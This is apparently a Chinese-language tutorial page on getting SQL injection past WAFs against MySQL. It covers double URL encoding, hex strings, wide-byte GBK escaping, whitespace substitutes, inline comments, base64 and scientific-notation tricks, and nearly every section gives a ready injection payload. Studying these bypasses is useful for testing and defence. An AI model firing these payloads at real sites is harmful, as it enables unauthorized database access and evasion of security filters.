搜索结果

×

搜索结果将在这里显示。

MySQL-常用绕过

MySQL-编码绕过

URL双重编码

有些WAF只会对URL进行一次解码,而Web服务器或后端会进行二次解码

+ 原始字符:'(单引号)
- 一次编码:%27
-  二次编码:%2527(将%编码成%25)
+ payload例子:
?id=1%2527%20union%20select%201,user(),3%2523
- WAF可能看到的内容:
%2527解码得到%27,WAF以为不是单引号则放行了 
- 后端可能得到的结果
1' union select 1,user(),3#
二次解码之后造成了sql注入

十六进制编码

数据库(尤其是MySQL)可以直接处理十六进制字符串,这种方法可以用来绕过关键词或特殊字符的过滤。

+ 原始语句
select * from users where name='admin'
- 如果不允许单引号或者双引号,导致我们不能直接写'admin',不加引号的话会报错,所以可以把admin转换成16进制,在传递16进制的时候是不需要引号的
+ 十六进制处理
select * from users where name=0x61646d696e
+ 可能的payload
?id=-1 union  select 1,2,group_concat(columns) from information_schema.columns where table_schema=database() and table_name=0x61646d696e
上面的payload就通过把admin转换成16进制从而避免单引号的使用,也避免waf对单引号的检测

宽字节编码

也算是一种编码绕过吧,针对的是后端编码和数据库编码不统一的情况

原理

拿php举例,在php中,魔术引号选项或者addslashes函数,会在单引号等特殊符号前面添加反斜杠转义,例如:

输入的是?id='
但是经过php的处理变成了?id=\'
这样在拼接sql语句的时候单引号就无法和原本的sql语句中的单引号闭合,失去作用

但是,如果php处理的编码格式是utf-8,但是mysql却是gbk,就会出现新的情况

payload:?id=%df'
- 这个时候php不认识%df和单引号的组合,只会当成单字节去处理,所以遇到了单引号之后直接就加反斜杠了,变成:
?id=%df\'
- 但是在sql语句中,由于编码是gbk,所以会把df和后面的编码组合成一个汉字
?id=%df%5c%27 --> ?id=運'
- 那么单引号是不是放出来了?造成了注入

image-20251216165102895

image-20251216165126117

各种空白符编码绕过

如果WAF过滤了空格、%20或者+,可以用下面的内容替代

常见的替代符:

+ /**/
+ %0a 
+ %09
+ %0b
- 例子
?id='/**/union/**/select/**/1,2,database()%23

内联注释加大小写绕过

现代的WAF大部分可以对大小写识别,但是在复杂的嵌套中可能就失效了,例如用内联注释:

?id=-1/*!UnIoN*//*!SeleCt*/1,2,3 -- -
- /*!……*/在MySQL中是内联注释,内部的代码会被执行,有些WAF会当成注释而忽略

image-20251216170554755

image-20251216170820745

特殊函数绕过

其实这个也是后端不严谨造成的,如果后端的逻辑是前端传递的base64编码的内容,然后在后端解码之后拼接到sql语句,这个时候再去匹配原文单引号的就匹配不到了,可以直接把payload编码成base64传递即可

- 原文
id=' union select 1,2,database() -- -
- 编码后
id=JyB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkgLS0gLQ==

image-20251216171743043

二进制和科学计数法绕过

很多WAF的规则是通过查找“数字+空格+关键词“,例如“1 and”或“1 union”来判断攻击。这个时候可以试试改变数字的形式去掉空格,这个时候WAF因为没有发现对应的“数字+空格”的特征,从而绕过

科学计数法

- 原本的payload
select id,name from users where id=1 union select 1,2;
+ waf识别到了“1空格union"识别为攻击,导致注入失败
- 如果直接删除空格,则会报错
select id,name from users where id=1union select 1,2;

image-20251216173234136

- 如果用科学计数代替普通的数字
select id,name from users where id=1e0union select 1,2;

image-20251216173217633

可以看到是正常返回查询结果的,这里的1e0就是1×10**0,也就还是1,所以没有影响,不过由于空格不见了,WAF匹配不到,所以认为是正常的语句

浮点数

把1换成1.0,和科学计数法一样的效果

image-20251216173513140

请先 登录 再评论